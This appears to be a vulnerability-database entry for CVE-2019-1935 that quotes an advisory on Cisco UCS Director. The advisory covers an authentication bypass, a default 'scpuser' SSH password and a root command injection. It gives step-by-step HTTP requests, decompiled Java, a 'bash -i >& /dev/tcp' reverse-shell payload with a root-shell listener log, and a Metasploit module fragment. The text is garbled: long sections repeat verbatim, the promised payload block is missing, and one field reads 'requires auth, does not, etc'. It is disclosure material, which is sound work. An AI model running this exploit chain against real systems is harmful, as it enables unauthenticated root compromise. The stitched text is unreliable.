| VAR-201908-0544 | CVE-2019-1935 | plural Cisco Vulnerabilities related to the use of hard-coded credentials in products |
CVSS V2: 10.0 CVSS V3: 9.8 Severity: CRITICAL |
A vulnerability in Cisco Integrated Management Controller (IMC) Supervisor, Cisco UCS Director, and Cisco UCS Director Express for Big Data could allow an unauthenticated, remote attacker to log in to the CLI of an affected system by using the SCP User account (scpuser), which has default user credentials. The vulnerability is due to the presence of a documented default account with an undocumented default password and incorrect permission settings for that account. Changing the default password for this account is not enforced during the installation of the product. An attacker could exploit this vulnerability by using the account to log in to an affected system. A successful exploit could allow the attacker to execute arbitrary commands with the privileges of the scpuser account. This includes full read and write access to the system's database. are all products of Cisco (Cisco). It is built
using Java and a variety of other technologies and distributed as a
Linux based virtual appliance. A demo of the UCS virtual appliance can
be freely downloaded from Cisco's website [1].
Due to several coding errors, it is possible for an unauthenticated
remote attacker with no privileges to bypass authentication and abuse a
password change function to inject arbitrary commands and execute code
as root.
In addition, there is a default unprivileged user with a known password
that can login via SSH and execute commands on the virtual appliance
provided by Cisco.
Two Metasploit modules were released with this advisory, one that
exploits the authentication bypass and command injection, and another
that exploits the default SSH password. However, Agile Information Security only tested
Cisco UCS Director.
Agile Information Security would like to thank Accenture Security
(previously iDefense) [5] for handling the disclosure process with Cisco.

Vulnerability: Web Interface Authentication Bypass / CWE-287
CVE-2019-1937
Cisco Bug ID: CSCvp19229 [2]
Risk Classification: Critical
Attack Vector: Remote
Constraints: No authentication required
Affected versions: confirmed in Cisco UCS Director versions 6.6.0 and
6.7.0, see [2] for Cisco's list of affected versions
UCS exposes a management web interface on ports 80 and 443 so that users
of UCS can perform cloud management functions.
Due to a number of coding errors and bad practices, it is possible for
an unauthenticated attacker to obtain an administrative session by
bypassing authentication.
The following sequence of requests and responses shows the
authentication bypass works.
1.1) First we send a request to ClientServlet to check our
authentication status:
GET /app/ui/ClientServlet?apiName=GetUserInfo HTTP/1.1
Host: 10.0.3.100
Referer: https://10.0.3.100/
X-Requested-With: XMLHttpRequest
... to which the server responds with a redirect to the login page since
we are not authenticated:
HTTP/1.1 302 Found
Location: https://10.0.3.100/app/ui/login.jsp
Content-Length: 0
Server: Web
1.2) We now follow the redirection to obtain a JSESSIONID cookie:
GET /app/ui/login.jsp HTTP/1.1
Host: 10.0.3.100
Referer: https://10.0.3.100/
X-Requested-With: XMLHttpRequest
And the server responds with our cookie:
HTTP/1.1 200 OK
Set-Cookie:
JSESSIONID=95B8A2D15F1E0712B444F208E179AE2354E374CF31974DE2D2E1C14173EAC745;
Path=/app; Secure; HttpOnly
Server: Web
1.3) Then we repeat the request from 1.1), but this time with the
JSESSIONID cookie obtained in 1.2):
GET /app/ui/ClientServlet?apiName=GetUserInfo HTTP/1.1
Host: 10.0.3.100
Referer: https://10.0.3.100/
Cookie:
JSESSIONID=95B8A2D15F1E0712B444F208E179AE2354E374CF31974DE2D2E1C14173EAC74;
X-Requested-With: XMLHttpRequest
... and we still get redirected to the login page, as in step 1.1):
HTTP/1.1 302 Found
Location: https://10.0.3.100/app/ui/login.jsp
Content-Length: 0
Server: Web
1.4) To completely bypass authentication, we just need to send the
JSESSIONID cookie with added X-Starship-UserSession-Key and
X-Starship-Request-Key HTTP headers set to random values:
GET /app/ui/ClientServlet?apiName=GetUserInfo HTTP/1.1
Host: 10.0.3.100
Referer: https://10.0.3.100/
X-Starship-UserSession-Key: ble
X-Starship-Request-Key: bla
Cookie:
JSESSIONID=95B8A2D15F1E0712B444F208E179AE2354E374CF31974DE2D2E1C14173EAC74;
X-Requested-With: XMLHttpRequest
HTTP/1.1 200 OK
Set-Cookie:
JSESSIONID=971D41B487F637DA84FCAF9E97A479429D4031F465DA445168A493254AA104E3;
Path=/app; Secure; HttpOnly
Connection: close
Server: Web
Content-Length: 428
{"productaccess_id":0,"loginName":"admin","productId":"cloupia_service_portal","accessLevel":null,"isEulaAccepted":false,"eulaAcceptTime":null,"eulaSrcHost":null,"restKey":"bla","allowedOperations":null,"userType":null,"server":null,"domainName":null,"suspend":false,"starshipUserId":null,"starshipUserLocale":null,"isAdminPasswordReset":true,"profileId":0,"credentialId":"","isClassicUIEnabled":false,"starshipSessionId":"ble"}
... and just like that, we can see from the information the server
returned that we are logged in as the "admin" user! From now on, we need
to use the new JSESSIONID cookie returned by the server in 1.4) to have
full administrative access to the UCS web interface.
To summarise, our exploit needs to:
a) obtain a JSESSIONID cookie
b) "authenticate" it by sending a request to ClientServlet with the
X-Starship-UserSession-Key and X-Starship-Request-Key HTTP headers set
to random values
c) use the new JSESSIONID cookie returned in b) as the "admin"
authenticated cookie
In some cases, the server will authenticate the old cookie and not
return a new one, but the effect is the same - the "old" JSESSIONID
cookie will be authenticated as an "admin" cookie.
Let's dig into the decompiled code, and see what is happening under the
hood.
All the coding errors that make this possible are in the class
com.cloupia.client.web.auth.AuthenticationFilter, which as a
javax.servlet.Filter subclass whose doFilter() function is invoked on
every request that the server receives (as configured by the web
application).
A snippet of com.cloupia.client.web.auth.AuthenticationFilter.doFilter()
is shown below, with comments preceded with ^^^:
public void doFilter(ServletRequest request, ServletResponse
response, FilterChain chain) {
(...)
httpRequest = (HttpServletRequest)request;
logger.debug("doFilter url: " +
httpRequest.getRequestURL().toString());
boolean isAuthenticated = this.authenticateUser(httpRequest);
^^^ 1.5) invokes authenticateUser() (function shown below)
String samlLogoutRequest;
if(!isAuthenticated) {
^^^ 1.6) if authenticateUser() returns false, we go into
this branch
samlLogoutRequest = request.getParameter("SAMLResponse");
logger.info("samlResponse-->" + samlLogoutRequest);
if(samlLogoutRequest != null) {
this.handleSAMLReponse(request, response, chain,
samlLogoutRequest);
} else {
^^^ 1.7) if there is no SAMLResponse HTTP parameter,
we go into this branch
HttpSession session;
ProductAccess userBean;
String requestedUri;
if(this.isStarshipRequest(httpRequest)) {
^^^ 1.8) checks if isStarshipRequest() returns
true (function shown below)
session = null !=
httpRequest.getSession(false)?httpRequest.getSession(false):httpRequest.getSession(true);
userBean =
(ProductAccess)session.getAttribute("USER_IN_SESSION");
if(userBean == null) {
^^^ 1.9) if there is no session server side
for this request, follow into this branch...
try {
userBean = new ProductAccess();
userBean.setCredentialId("");
userBean.setAdminPasswordReset(true);
userBean.setProductId("cloupia_service_portal");
userBean.setProfileId(0);
userBean.setRestKey(httpRequest.getHeader("X-Starship-Request-Key"));
userBean.setStarshipUserId(httpRequest.getHeader("X-Starship-UserName-Key"));
userBean.setLoginName("admin");
^^^ 1.10) and create a new session
with the user as "admin"!
userBean.setStarshipSessionId(httpRequest.getHeader("X-Starship-UserSession-Key"));
requestedUri =
httpRequest.getHeader("X-Starship-UserRoles-Key");
userBean.setAccessLevel(requestedUri);
if(requestedUri != null &&
requestedUri.equalsIgnoreCase("admin")) {
AuthenticationManager authmgr =
AuthenticationManager.getInstance();
userBean.setAccessLevel("Admin");
authmgr.evaluateAllowedOperations(userBean);
}
session.setAttribute("USER_IN_SESSION",
userBean);
session.setAttribute("DEFAULT_URL",
STARSHIP_DEFAULT_URL);
logger.info("userBean:" +
userBean.getAccessLevel());
} catch (Exception var12) {
logger.info("username/password wrong for
rest api access - " + var12.getMessage());
}
logger.info("userBean: " +
userBean.getAccessLevel());
}
chain.doFilter(request, response);
(...)
}
As it can be read in the inline comments in the function above, our
first hurdle at 1.5) is to make authenticateUser() return false:
private boolean authenticateUser(HttpServletRequest request) {
boolean isValidUser = false;
HttpSession session = null;
session = request.getSession(false);
^^^ 1.11) get the session for this request
if(session != null) {
ProductAccess user =
(ProductAccess)session.getAttribute("USER_IN_SESSION");
if(user != null) {
isValidUser = true;
if(this.isStarshipRequest(request) &&
!user.isStarshipAccess(request.getHeader("X-Starship-UserSession-Key"))) {
isValidUser = false;
} else {
logger.debug("AuthenticationFilter:authenticateUser
- User " + user.getLoginName() + " has been previously authenticated");
}
}
} else {
logger.info("AuthenticationFilter:authenticateUser - session
is null");
^^^ 1.12) no session found, return isValidUser which is
false as set at the start of the function
}
return isValidUser;
}
This is easily done, and it works as expected - we do not have a
session, so at 1.11) the session is null, and then we go into 1.12)
which makes the function return false.
We now go back to the doFilter() function, and go into the branch in
1.6). As we have not sent a SAMLResponse HTTP parameter, we follow into
the 1.7) branch.
Now we get to the critical part in 1.8). Here, isStarshipRequest() is
invoked, and if it returns true, the server will create an "admin"
session for us...
private boolean isStarshipRequest(HttpServletRequest httpRequest) {
return null !=
httpRequest.getHeader("X-Starship-UserSession-Key") && null !=
httpRequest.getHeader("X-Starship-Request-Key");
}
isStarshipRequest() is shown above, and clearly the only thing we need
to do to make it return true is to set the X-Starship-UserSession-Key
and X-Starship-Request-Key HTTP headers.
We then follow into 1.9) and 1.10), and we get our administrative
session without having any credentials at all!
Moreover, the session is completely stealthy and invisible to other
users, as it does not appear in Administration -> Users and Groups ->
All Users Login History nor in Administration -> Users and Groups ->
Current Online Users.
According to Cisco's documentation [7]:
"An SCP user is used by server diagnostics and tech support upload
operations for transferring files to the Cisco IMC Supervisor appliance
using the SCP protocol. An scp user account cannot be used to login to
the Cisco IMC Supervisor UI or the shelladmin."
The web interface contains functionality to change the user password for
the 'scpuser' in Administration -> Users and Groups -> SCP User
Configuration, and in this page it says:
"The 'scpuser' will be configured on this appliance in order to enable
file transfer operations via the 'scp' command. This user account cannot
be used to login to the GUI or shelladmin"
Apparently this is not true and not only the user can log in via SSH per
default, but it does so with a default password of 'scpuser' if it not
changed by the administrator after installation:
UCS > ssh scpuser@10.0.3.100
Password: <scpuser>
[scpuser@localhost ~]$ whoami
scpuser
#3
Vulnerability: Authenticated command injection via the web interface as
root (CWE-78)
CVE-2019-1936
Cisco Bug ID: CSCvp19245 [4]
Risk Classification: Critical
Attack Vector: Remote
Constraints: requires authentication to the UCS web interface
Affected versions: confirmed in Cisco UCS Director versions 6.6 and 6.7,
see [4] for Cisco's list of affected versions
As shown in #2, the web interface contains functionality to change the
user password for the 'scpuser' in Administration -> Users and Groups ->
SCP User Configuration.
This is handled by the Java class
com.cloupia.feature.cimc.forms.SCPUserConfigurationForm in
doFormSubmit(), which is shown below, with my markers and comments
preceded with ^^^:
public FormResult doFormSubmit(String user, ReportContext context,
String formId, FormFieldData[] data) throws Exception {
logger.info((Object)"doFormSubmit invoked ");
FormResult result = this.validateForm(context,
this.getDefinition(), formId, data, true);
if (result.getStatus() == 0) {
try {
SCPUserConfig existingConfig;
FormFieldDataList datalist = new FormFieldDataList(data);
String password =
datalist.getById(FIELD_ID_PASSWORD).getValue();
^^^ 3.1) gets "password" from the form sent by
the user
SCPUserConfig newSCPUserConfig = new SCPUserConfig();
newSCPUserConfig.setPassword(password);
if ("**********".equals(password) && (existingConfig =
CIMCPersistenceUtil.getSCPUserConfig()) != null) {
newSCPUserConfig.setPassword(existingConfig.getPassword());
}
CIMCPersistenceUtil.setSCPUserConfig(newSCPUserConfig);
Process p = Runtime.getRuntime().exec(new
String[]{"/bin/sh", "-c", "echo -e \"" + password + "\\n" + password +
"\" | (passwd --stdin " + "scpuser" + ")"});
^^^ 3.2) runs /bin/sh with "password" argument
p.waitFor();
datalist.getById(FIELD_ID_PASSWORD).setValue("**********");
result.setStatus(2);
result.setStatusMessage(RBUtil.getString((String)"CIMCControllerFeature.form.scpuser.success.label"));
return result;
}
catch (Exception ex) {
result.setStatusMessage(ex.getMessage());
result.setStatus(1);
return result;
}
}
return result;
}
}
In 3.1) we see that the function gets the "password" field from the from
sent by the user, and in 3.2) it passes this input directly to
Runtime.getRuntime().exec(), which leads to a clear command injection.
This is run as root, as the web server runs as root and superuser access
would be necessary anyway to change a password of another user.
To obtain a reverse shell, we can send the following payload to
ClientServlet, which will then invoke the
SCPUserConfigurationForm.doFormSubmit():

Vulnerability: Web Interface Authentication Bypass / CWE-287
CVE-2019-1937
Cisco Bug ID: CSCvp19229 [2]
Risk Classification: Critical
Attack Vector: Remote
Constraints: No authentication required
Affected versions: confirmed in Cisco UCS Director versions 6.6.0 and
6.7.0, see [2] for Cisco's list of affected versions
UCS exposes a management web interface on ports 80 and 443 so that users
of UCS can perform cloud management functions.
Due to a number of coding errors and bad practices, it is possible for
an unauthenticated attacker to obtain an administrative session by
bypassing authentication.
The following sequence of requests and responses shows the
authentication bypass works.
1.1) First we send a request to ClientServlet to check our
authentication status:
GET /app/ui/ClientServlet?apiName=GetUserInfo HTTP/1.1
Host: 10.0.3.100
Referer: https://10.0.3.100/
X-Requested-With: XMLHttpRequest
... to which the server responds with a redirect to the login page since
we are not authenticated:
HTTP/1.1 302 Found
Location: https://10.0.3.100/app/ui/login.jsp
Content-Length: 0
Server: Web
1.2) We now follow the redirection to obtain a JSESSIONID cookie:
GET /app/ui/login.jsp HTTP/1.1
Host: 10.0.3.100
Referer: https://10.0.3.100/
X-Requested-With: XMLHttpRequest
And the server responds with our cookie:
HTTP/1.1 200 OK
Set-Cookie:
JSESSIONID=95B8A2D15F1E0712B444F208E179AE2354E374CF31974DE2D2E1C14173EAC745;
Path=/app; Secure; HttpOnly
Server: Web
1.3) Then we repeat the request from 1.1), but this time with the
JSESSIONID cookie obtained in 1.2):
GET /app/ui/ClientServlet?apiName=GetUserInfo HTTP/1.1
Host: 10.0.3.100
Referer: https://10.0.3.100/
Cookie:
JSESSIONID=95B8A2D15F1E0712B444F208E179AE2354E374CF31974DE2D2E1C14173EAC74;
X-Requested-With: XMLHttpRequest
... and we still get redirected to the login page, as in step 1.1):
HTTP/1.1 302 Found
Location: https://10.0.3.100/app/ui/login.jsp
Content-Length: 0
Server: Web
1.4) To completely bypass authentication, we just need to send the
JSESSIONID cookie with added X-Starship-UserSession-Key and
X-Starship-Request-Key HTTP headers set to random values:
GET /app/ui/ClientServlet?apiName=GetUserInfo HTTP/1.1
Host: 10.0.3.100
Referer: https://10.0.3.100/
X-Starship-UserSession-Key: ble
X-Starship-Request-Key: bla
Cookie:
JSESSIONID=95B8A2D15F1E0712B444F208E179AE2354E374CF31974DE2D2E1C14173EAC74;
X-Requested-With: XMLHttpRequest
HTTP/1.1 200 OK
Set-Cookie:
JSESSIONID=971D41B487F637DA84FCAF9E97A479429D4031F465DA445168A493254AA104E3;
Path=/app; Secure; HttpOnly
Connection: close
Server: Web
Content-Length: 428
{"productaccess_id":0,"loginName":"admin","productId":"cloupia_service_portal","accessLevel":null,"isEulaAccepted":false,"eulaAcceptTime":null,"eulaSrcHost":null,"restKey":"bla","allowedOperations":null,"userType":null,"server":null,"domainName":null,"suspend":false,"starshipUserId":null,"starshipUserLocale":null,"isAdminPasswordReset":true,"profileId":0,"credentialId":"","isClassicUIEnabled":false,"starshipSessionId":"ble"}
... and just like that, we can see from the information the server
returned that we are logged in as the "admin" user! From now on, we need
to use the new JSESSIONID cookie returned by the server in 1.4) to have
full administrative access to the UCS web interface.
To summarise, our exploit needs to:
a) obtain a JSESSIONID cookie
b) "authenticate" it by sending a request to ClientServlet with the
X-Starship-UserSession-Key and X-Starship-Request-Key HTTP headers set
to random values
c) use the new JSESSIONID cookie returned in b) as the "admin"
authenticated cookie
In some cases, the server will authenticate the old cookie and not
return a new one, but the effect is the same - the "old" JSESSIONID
cookie will be authenticated as an "admin" cookie.
Let's dig into the decompiled code, and see what is happening under the
hood.
All the coding errors that make this possible are in the class
com.cloupia.client.web.auth.AuthenticationFilter, which as a
javax.servlet.Filter subclass whose doFilter() function is invoked on
every request that the server receives (as configured by the web
application).
A snippet of com.cloupia.client.web.auth.AuthenticationFilter.doFilter()
is shown below, with comments preceded with ^^^:
public void doFilter(ServletRequest request, ServletResponse
response, FilterChain chain) {
(...)
httpRequest = (HttpServletRequest)request;
logger.debug("doFilter url: " +
httpRequest.getRequestURL().toString());
boolean isAuthenticated = this.authenticateUser(httpRequest);
^^^ 1.5) invokes authenticateUser() (function shown below)
String samlLogoutRequest;
if(!isAuthenticated) {
^^^ 1.6) if authenticateUser() returns false, we go into
this branch
samlLogoutRequest = request.getParameter("SAMLResponse");
logger.info("samlResponse-->" + samlLogoutRequest);
if(samlLogoutRequest != null) {
this.handleSAMLReponse(request, response, chain,
samlLogoutRequest);
} else {
^^^ 1.7) if there is no SAMLResponse HTTP parameter,
we go into this branch
HttpSession session;
ProductAccess userBean;
String requestedUri;
if(this.isStarshipRequest(httpRequest)) {
^^^ 1.8) checks if isStarshipRequest() returns
true (function shown below)
session = null !=
httpRequest.getSession(false)?httpRequest.getSession(false):httpRequest.getSession(true);
userBean =
(ProductAccess)session.getAttribute("USER_IN_SESSION");
if(userBean == null) {
^^^ 1.9) if there is no session server side
for this request, follow into this branch...
try {
userBean = new ProductAccess();
userBean.setCredentialId("");
userBean.setAdminPasswordReset(true);
userBean.setProductId("cloupia_service_portal");
userBean.setProfileId(0);
userBean.setRestKey(httpRequest.getHeader("X-Starship-Request-Key"));
userBean.setStarshipUserId(httpRequest.getHeader("X-Starship-UserName-Key"));
userBean.setLoginName("admin");
^^^ 1.10) and create a new session
with the user as "admin"!
userBean.setStarshipSessionId(httpRequest.getHeader("X-Starship-UserSession-Key"));
requestedUri =
httpRequest.getHeader("X-Starship-UserRoles-Key");
userBean.setAccessLevel(requestedUri);
if(requestedUri != null &&
requestedUri.equalsIgnoreCase("admin")) {
AuthenticationManager authmgr =
AuthenticationManager.getInstance();
userBean.setAccessLevel("Admin");
authmgr.evaluateAllowedOperations(userBean);
}
session.setAttribute("USER_IN_SESSION",
userBean);
session.setAttribute("DEFAULT_URL",
STARSHIP_DEFAULT_URL);
logger.info("userBean:" +
userBean.getAccessLevel());
} catch (Exception var12) {
logger.info("username/password wrong for
rest api access - " + var12.getMessage());
}
logger.info("userBean: " +
userBean.getAccessLevel());
}
chain.doFilter(request, response);
(...)
}
As it can be read in the inline comments in the function above, our
first hurdle at 1.5) is to make authenticateUser() return false:
private boolean authenticateUser(HttpServletRequest request) {
boolean isValidUser = false;
HttpSession session = null;
session = request.getSession(false);
^^^ 1.11) get the session for this request
if(session != null) {
ProductAccess user =
(ProductAccess)session.getAttribute("USER_IN_SESSION");
if(user != null) {
isValidUser = true;
if(this.isStarshipRequest(request) &&
!user.isStarshipAccess(request.getHeader("X-Starship-UserSession-Key"))) {
isValidUser = false;
} else {
logger.debug("AuthenticationFilter:authenticateUser
- User " + user.getLoginName() + " has been previously authenticated");
}
}
} else {
logger.info("AuthenticationFilter:authenticateUser - session
is null");
^^^ 1.12) no session found, return isValidUser which is
false as set at the start of the function
}
return isValidUser;
}
This is easily done, and it works as expected - we do not have a
session, so at 1.11) the session is null, and then we go into 1.12)
which makes the function return false.
We now go back to the doFilter() function, and go into the branch in
1.6). As we have not sent a SAMLResponse HTTP parameter, we follow into
the 1.7) branch.
Now we get to the critical part in 1.8). Here, isStarshipRequest() is
invoked, and if it returns true, the server will create an "admin"
session for us...
private boolean isStarshipRequest(HttpServletRequest httpRequest) {
return null !=
httpRequest.getHeader("X-Starship-UserSession-Key") && null !=
httpRequest.getHeader("X-Starship-Request-Key");
}
isStarshipRequest() is shown above, and clearly the only thing we need
to do to make it return true is to set the X-Starship-UserSession-Key
and X-Starship-Request-Key HTTP headers.
We then follow into 1.9) and 1.10), and we get our administrative
session without having any credentials at all!
Moreover, the session is completely stealthy and invisible to other
users, as it does not appear in Administration -> Users and Groups ->
All Users Login History nor in Administration -> Users and Groups ->
Current Online Users.

Vulnerability: Default password for 'scpuser' / CWE-798
CVE-2019-1935
Cisco Bug ID: CSCvp19251 [3]
Risk Classification: Critical
Attack Vector: Remote
Constraints: requires auth, does not, etc
Affected versions: confirmed in Cisco UCS Director versions 6.6.0 and
6.7.0, see [3] for Cisco's list of affected versions
The UCS virtual appliance is configured with a user 'scpuser' that is
supposed to be used for scp file transfer between UCS appliances and
other Cisco modules.
According to Cisco's documentation [7]:
"An SCP user is used by server diagnostics and tech support upload
operations for transferring files to the Cisco IMC Supervisor appliance
using the SCP protocol. An scp user account cannot be used to login to
the Cisco IMC Supervisor UI or the shelladmin."
The web interface contains functionality to change the user password for
the 'scpuser' in Administration -> Users and Groups -> SCP User
Configuration, and in this page it says:
"The 'scpuser' will be configured on this appliance in order to enable
file transfer operations via the 'scp' command. This user account cannot
be used to login to the GUI or shelladmin"
Apparently this is not true and not only the user can log in via SSH per
default, but it does so with a default password of 'scpuser' if it not
changed by the administrator after installation:
UCS > ssh scpuser@10.0.3.100
Password: <scpuser>
[scpuser@localhost ~]$ whoami
scpuser
#3
Vulnerability: Authenticated command injection via the web interface as
root (CWE-78)
CVE-2019-1936
Cisco Bug ID: CSCvp19245 [4]
Risk Classification: Critical
Attack Vector: Remote
Constraints: requires authentication to the UCS web interface
Affected versions: confirmed in Cisco UCS Director versions 6.6 and 6.7,
see [4] for Cisco's list of affected versions
As shown in #2, the web interface contains functionality to change the
user password for the 'scpuser' in Administration -> Users and Groups ->
SCP User Configuration.
This is handled by the Java class
com.cloupia.feature.cimc.forms.SCPUserConfigurationForm in
doFormSubmit(), which is shown below, with my markers and comments
preceded with ^^^:
public FormResult doFormSubmit(String user, ReportContext context,
String formId, FormFieldData[] data) throws Exception {
logger.info((Object)"doFormSubmit invoked ");
FormResult result = this.validateForm(context,
this.getDefinition(), formId, data, true);
if (result.getStatus() == 0) {
try {
SCPUserConfig existingConfig;
FormFieldDataList datalist = new FormFieldDataList(data);
String password =
datalist.getById(FIELD_ID_PASSWORD).getValue();
^^^ 3.1) gets "password" from the form sent by
the user
SCPUserConfig newSCPUserConfig = new SCPUserConfig();
newSCPUserConfig.setPassword(password);
if ("**********".equals(password) && (existingConfig =
CIMCPersistenceUtil.getSCPUserConfig()) != null) {
newSCPUserConfig.setPassword(existingConfig.getPassword());
}
CIMCPersistenceUtil.setSCPUserConfig(newSCPUserConfig);
Process p = Runtime.getRuntime().exec(new
String[]{"/bin/sh", "-c", "echo -e \"" + password + "\\n" + password +
"\" | (passwd --stdin " + "scpuser" + ")"});
^^^ 3.2) runs /bin/sh with "password" argument
p.waitFor();
datalist.getById(FIELD_ID_PASSWORD).setValue("**********");
result.setStatus(2);
result.setStatusMessage(RBUtil.getString((String)"CIMCControllerFeature.form.scpuser.success.label"));
return result;
}
catch (Exception ex) {
result.setStatusMessage(ex.getMessage());
result.setStatus(1);
return result;
}
}
return result;
}
}
In 3.1) we see that the function gets the "password" field from the from
sent by the user, and in 3.2) it passes this input directly to
Runtime.getRuntime().exec(), which leads to a clear command injection.
This is run as root, as the web server runs as root and superuser access
would be necessary anyway to change a password of another user.
To obtain a reverse shell, we can send the following payload to
ClientServlet, which will then invoke the
SCPUserConfigurationForm.doFormSubmit():

In the example above, the FIELD_ID_PASSWORD is set to "`bash -i >&
/dev/tcp/10.0.3.9/4444 0>&1`", which returns a reverse shell to host
10.0.3.9 on port 4444 running as root:
UCS > nc -lvkp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 10.0.3.100 55432 received!
bash: no job control in this shell
[root@localhost inframgr]# whoami
root
>> Exploitation summary:
By chaining vulnerability #1 (authentication bypass) with vulnerability
#3 (authenticated command injection as root), it is clear that an
unauthenticated attacker with no privileges on the system can execute
code as root, leading to total compromise of Cisco UCS Director.
>> Vulnerability Fixes / Mitigation:
According to Cisco [2] [3] [4] the three vulnerabilities described in
this advisory were fixed in the product versions described below:
Cisco IMC Supervisor releases 2.2.1.0 and later
Cisco UCS Director releases 6.7.2.0 and later (recommended: 6.7.3.0)
Cisco UCS Director Express for Big Data releases 3.7.2.0 and later
(recommended: 3.7.3.0)

'Name' => 'Cisco UCS Director Unauthenticated Remote Code Execution',
'Description' => %q{
The Cisco UCS Director virtual appliance contains two flaws that can be combined
and abused by an attacker to achieve remote code execution as root.
The first one, CVE-2019-1937, is an authentication bypass, that allows the
attacker to authenticate as an administrator.
This module combines both vulnerabilities to achieve the unauthenticated command
injection as root.
